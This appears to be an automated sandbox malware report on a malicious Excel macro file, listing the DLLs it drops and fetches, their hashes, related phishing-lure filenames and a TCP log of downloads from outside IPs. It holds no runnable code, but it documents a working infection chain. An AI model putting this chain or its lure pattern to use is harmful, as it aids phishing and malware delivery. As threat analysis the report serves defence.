MD5:	7A1D163990ACE9CEF1D43831866109AB
SHA1:	38A40E5AF9912C2935F74F2085D810A24325DC2A
SHA-256:	2B56EFDD9D771BCE51087101AC109C30B81E29E583C0178D33B90AD0128D9BA8
SHA-512:	454FBFD2C7BC18F47B02D67CA957D01A86E09EE4F4C6CAADF2CDF981478E90467C2B3BE750C293790016EB5AED757E8553FD2CB65242FB6C0D0E3A231291F247
Malicious:	true
Joe Sandbox View:	Filename: Formtofill4184860.xlsm, Detection: malicious, Browse Filename: sbf0127365-7431059.xlsm, Detection: malicious, Browse Filename: Outfordelivery799862.xlsm, Detection: malicious, Browse Filename: Purchaseconfirmation-137606.xlsm, Detection: malicious, Browse Filename: DeliveryConf535215.xlsm, Detection: malicious, Browse Filename: PI-210610.xlsm, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........M.M.M.>...N.M.K.M.I...L...L.RichM.........PE..d......`.........." .....:.......... .....................................................`.....................................................(....................................................................................P..@............................text...(8.......:.................. ..`.rdata..~....P.......>..............@..@.data...`...........................@....pdata..............................@..@........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lsdfik[1].fml Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57856
Entropy (8bit):	4.963425128586394
Encrypted:	false
SSDEEP:	768:wIZpbT9PDZE0ix9i33yS6AII5QiyWaTeQC9m6ny96/eQponqM:wypbTax9IyeIGhaaN9Hny962TnqM
MD5:	7A1D163990ACE9CEF1D43831866109AB
SHA1:	38A40E5AF9912C2935F74F2085D810A24325DC2A
SHA-256:	2B56EFDD9D771BCE51087101AC109C30B81E29E583C0178D33B90AD0128D9BA8
SHA-512:	454FBFD2C7BC18F47B02D67CA957D01A86E09EE4F4C6CAADF2CDF981478E90467C2B3BE750C293790016EB5AED757E8553FD2CB65242FB6C0D0E3A231291F247
Malicious:	true
Joe Sandbox View:	Filename: Formtofill4184860.xlsm, Detection: malicious, Browse Filename: sbf0127365-7431059.xlsm, Detection: malicious, Browse Filename: Outfordelivery799862.xlsm, Detection: malicious, Browse Filename: Purchaseconfirmation-137606.xlsm, Detection: malicious, Browse Filename: DeliveryConf535215.xlsm, Detection: malicious, Browse Filename: PI-210610.xlsm, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........M.M.M.>...N.M.K.M.I...L...L.RichM.........PE..d......`.........." .....:.......... .....................................................`.....................................................(....................................................................................P..@............................text...(8.......:.................. ..`.rdata..~....P.......>..............@..@.data...`...........................@....pdata..............................@..@........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\19499ACE.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 1600 x 1600, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	174009
Entropy (8bit):	7.967231122944825
Encrypted:	false
SSDEEP:	3072:4DusrJcGUAUpF2e/RIiZmxjTH0Fq2yIyJFZqcN+KCiSsYErzSK/XO:CRcGUlFzy4mpTHdrUc3/SsYASj
MD5:	C0AF15BAE70AFFC4BE7625110AEEF09A
SHA1:	AEF94E038F0538C812AAF9EF605F76AF2376A26D
SHA-256:	D2F5852B2EF010150C0C8A980F25B715C6363A8C4454C711B9E9F2B2532F1657
SHA-512:	131DECBB06F1CE1A049BBF25B49615320FB4DC6DF5D3DA8B44EAE455D6ACC8AE12981BC108431DCC01D21EABFE1A552581C508F57FD3FDB7D7B06B5346522B2B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...@...@.......~.....PLTE.....3..f..........+..+3.+f.+..+..+..U..U3.Uf.U..U..U......3..f..............3..f..............3..f.............3..f.........3..3.33.f3..3..3..3+.3+33+f3+.3+.3+.3U.3U33Uf3U.3U.3U.3..3.33.f3..3..3..3..3.33.f3..3..3..3..3.33.f3.3..3..3..3.33.f3..3..3..f..f.3f.ff..f..f..f+.f+3f+ff+.f+.f+.fU.fU3fUffU.fU.fU.f..f.3f.ff..f..f..f..f.3f.ff..f..f..f..f.3f.ff.f..f..f..f.3f.ff..f..f.......3..f.........+..+3.+f.+..+.+..U..U3.Uf.U..U.U......3..f.............3..f.............3..f............3..f.............3..f..........+..+3.+f.+..+..+..U..U3.Uf.U..U..U....3.f.........3.f...........3..f.............3..f..............3..f..........+..+3.+f.+..+..+..U..U3.Uf.U..U..U......3..f..............3..f..............3..f.............3..f........................(....tRNS...................................................................................................................................................................................

C:\Users\user\Desktop\~$HRcontacts7752205.xlsm Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\XRAY.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57856
Entropy (8bit):	4.963425128586394
Encrypted:	false
SSDEEP:	768:wIZpbT9PDZE0ix9i33yS6AII5QiyWaTeQC9m6ny96/eQponqM:wypbTax9IyeIGhaaN9Hny962TnqM
MD5:	7A1D163990ACE9CEF1D43831866109AB
SHA1:	38A40E5AF9912C2935F74F2085D810A24325DC2A
SHA-256:	2B56EFDD9D771BCE51087101AC109C30B81E29E583C0178D33B90AD0128D9BA8
SHA-512:	454FBFD2C7BC18F47B02D67CA957D01A86E09EE4F4C6CAADF2CDF981478E90467C2B3BE750C293790016EB5AED757E8553FD2CB65242FB6C0D0E3A231291F247
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........M.M.M.>...N.M.K.M.I...L...L.RichM.........PE..d......`.........." .....:.......... .....................................................`.....................................................(....................................................................................P..@............................text...(8.......:.................. ..`.rdata..~....P.......>..............@..@.data...`...........................@....pdata..............................@..@........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\XTOWN.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57856
Entropy (8bit):	4.963425128586394
Encrypted:	false
SSDEEP:	768:wIZpbT9PDZE0ix9i33yS6AII5QiyWaTeQC9m6ny96/eQponqM:wypbTax9IyeIGhaaN9Hny962TnqM
MD5:	7A1D163990ACE9CEF1D43831866109AB
SHA1:	38A40E5AF9912C2935F74F2085D810A24325DC2A
SHA-256:	2B56EFDD9D771BCE51087101AC109C30B81E29E583C0178D33B90AD0128D9BA8
SHA-512:	454FBFD2C7BC18F47B02D67CA957D01A86E09EE4F4C6CAADF2CDF981478E90467C2B3BE750C293790016EB5AED757E8553FD2CB65242FB6C0D0E3A231291F247
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........M.M.M.>...N.M.K.M.I...L...L.RichM.........PE..d......`.........." .....:.......... .....................................................`.....................................................(....................................................................................P..@............................text...(8.......:.................. ..`.rdata..~....P.......>..............@..@.data...`...........................@....pdata..............................@..@........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\XZIBIT.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57856
Entropy (8bit):	4.963425128586394
Encrypted:	false
SSDEEP:	768:wIZpbT9PDZE0ix9i33yS6AII5QiyWaTeQC9m6ny96/eQponqM:wypbTax9IyeIGhaaN9Hny962TnqM
MD5:	7A1D163990ACE9CEF1D43831866109AB
SHA1:	38A40E5AF9912C2935F74F2085D810A24325DC2A
SHA-256:	2B56EFDD9D771BCE51087101AC109C30B81E29E583C0178D33B90AD0128D9BA8
SHA-512:	454FBFD2C7BC18F47B02D67CA957D01A86E09EE4F4C6CAADF2CDF981478E90467C2B3BE750C293790016EB5AED757E8553FD2CB65242FB6C0D0E3A231291F247
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........M.M.M.>...N.M.K.M.I...L...L.RichM.........PE..d......`.........." .....:.......... .....................................................`.....................................................(....................................................................................P..@............................text...(8.......:.................. ..`.rdata..~....P.......>..............@..@.data...`...........................@....pdata..............................@..@........................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.939406715195173
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	HRcontacts7752205.xlsm
File size:	189905
MD5:	26dd94a1108bb7190c188eacb3d353a5
SHA1:	8ec75c0b4ed6c2dd1e7f4813e356996e822eea89
SHA256:	9c422676a3a9fee8bf036220d927feab80503846c52912dc829387a68428ad89
SHA512:	b2d5cd572e5d3d1e0df47604f4fb1a3fa0ac6bb574f97db08bedf1786b481dc306a22ee2e22ff540deee29e8491c3ce95f5fab2f79507e03292ff4ba4573f472
SSDEEP:	3072:sDusrJcGUAUpF2e/RIiZmxjTH0Fq2yIyJFZqcN+KCiSsYErzSK/Xvpk:WRcGUlFzy4mpTHdrUc3/SsYASx
File Content Preview:	PK..........!....7............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4bcbcac

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 6, 2021 15:52:19.767330885 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.807976007 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.808170080 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.808883905 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.849623919 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871190071 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871218920 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871232986 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871248007 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871260881 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871273041 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871285915 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871298075 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871309996 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871321917 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.871356010 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.871381044 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.872936964 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.872960091 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.873040915 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.873114109 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.873135090 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.873285055 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.874037981 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.874062061 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.874167919 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.874222040 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.874960899 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.874986887 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.875072956 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.875946999 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.875972986 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.876029015 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.876058102 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.876907110 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.876930952 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.877031088 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.877222061 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.877871037 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.877885103 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.877996922 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.878844976 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.878870010 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.878925085 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.879857063 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.879882097 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.879930019 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.880770922 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.880796909 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.880845070 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.882208109 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.909466028 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.909492970 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.909533978 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.909558058 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.909775019 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.909797907 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.909820080 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.909832001 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.910778046 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.910793066 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.910855055 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.911741018 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.911748886 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.911815882 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.912681103 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.912707090 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.912729979 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.912744045 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.913649082 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.913676023 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.913711071 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.913726091 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.914597988 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.914623022 CEST	80	49167	172.67.198.51	192.168.2.22
Jul 6, 2021 15:52:19.914647102 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:19.914660931 CEST	49167	80	192.168.2.22	172.67.198.51
Jul 6, 2021 15:52:20.018418074 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.056575060 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.056663036 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.058921099 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.096992016 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111803055 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111833096 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111845016 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111856937 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111875057 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111886024 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111901999 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111917019 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.111917973 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111936092 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111938000 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.111941099 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.111948013 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.111948967 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.111968040 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.111978054 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.112761021 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.112790108 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.112826109 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.112847090 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.113610983 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.113636971 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.113682032 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.113699913 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.114511967 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.114537954 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.114602089 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.115417004 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.115441084 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.115464926 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.115482092 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.116285086 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.116309881 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.116347075 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.116364002 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.117157936 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.117182016 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.117232084 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.117438078 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.118052959 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.118077040 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.118128061 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.118143082 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.118954897 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.118980885 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.119018078 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.119035006 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.119858980 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.119882107 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.119931936 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.120629072 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.120644093 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.120769024 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.120790005 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.120826960 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.120840073 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.125171900 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.150053978 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.150094032 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.150131941 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.150157928 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.150281906 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.150301933 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.150360107 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.151180029 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.151204109 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.151257038 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.152061939 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.152103901 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.152143955 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.152985096 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.153008938 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.153039932 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.153055906 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.153058052 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.153883934 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.153908968 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.153948069 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.153964043 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.154735088 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.154758930 CEST	80	49168	172.67.194.117	192.168.2.22
Jul 6, 2021 15:52:20.154803038 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.156667948 CEST	49168	80	192.168.2.22	172.67.194.117
Jul 6, 2021 15:52:20.247215986 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.285422087 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.285562038 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.286242008 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.324325085 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.345911980 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.345957994 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.345978975 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.345995903 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.346016884 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.346041918 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.346060038 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.346076012 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.346091986 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.346107006 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.346424103 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.346448898 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.346684933 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.346708059 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.347002983 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.347603083 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.347625971 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.347681046 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.348613977 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.348622084 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.348650932 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.348694086 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.348710060 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.349366903 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.349400997 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.349421978 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.349478006 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.349675894 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.350305080 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.350327969 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.350374937 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.350729942 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.351186991 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.351213932 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.351270914 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.351294041 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.352089882 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.352113008 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.352145910 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.352251053 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.352943897 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.352965117 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.352999926 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.353823900 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.353846073 CEST	80	49169	104.21.55.83	192.168.2.22
Jul 6, 2021 15:52:20.353857994 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.353895903 CEST	49169	80	192.168.2.22	104.21.55.83
Jul 6, 2021 15:52:20.354732037 CEST	80	49169	104.21.55.83	192.168.2.22
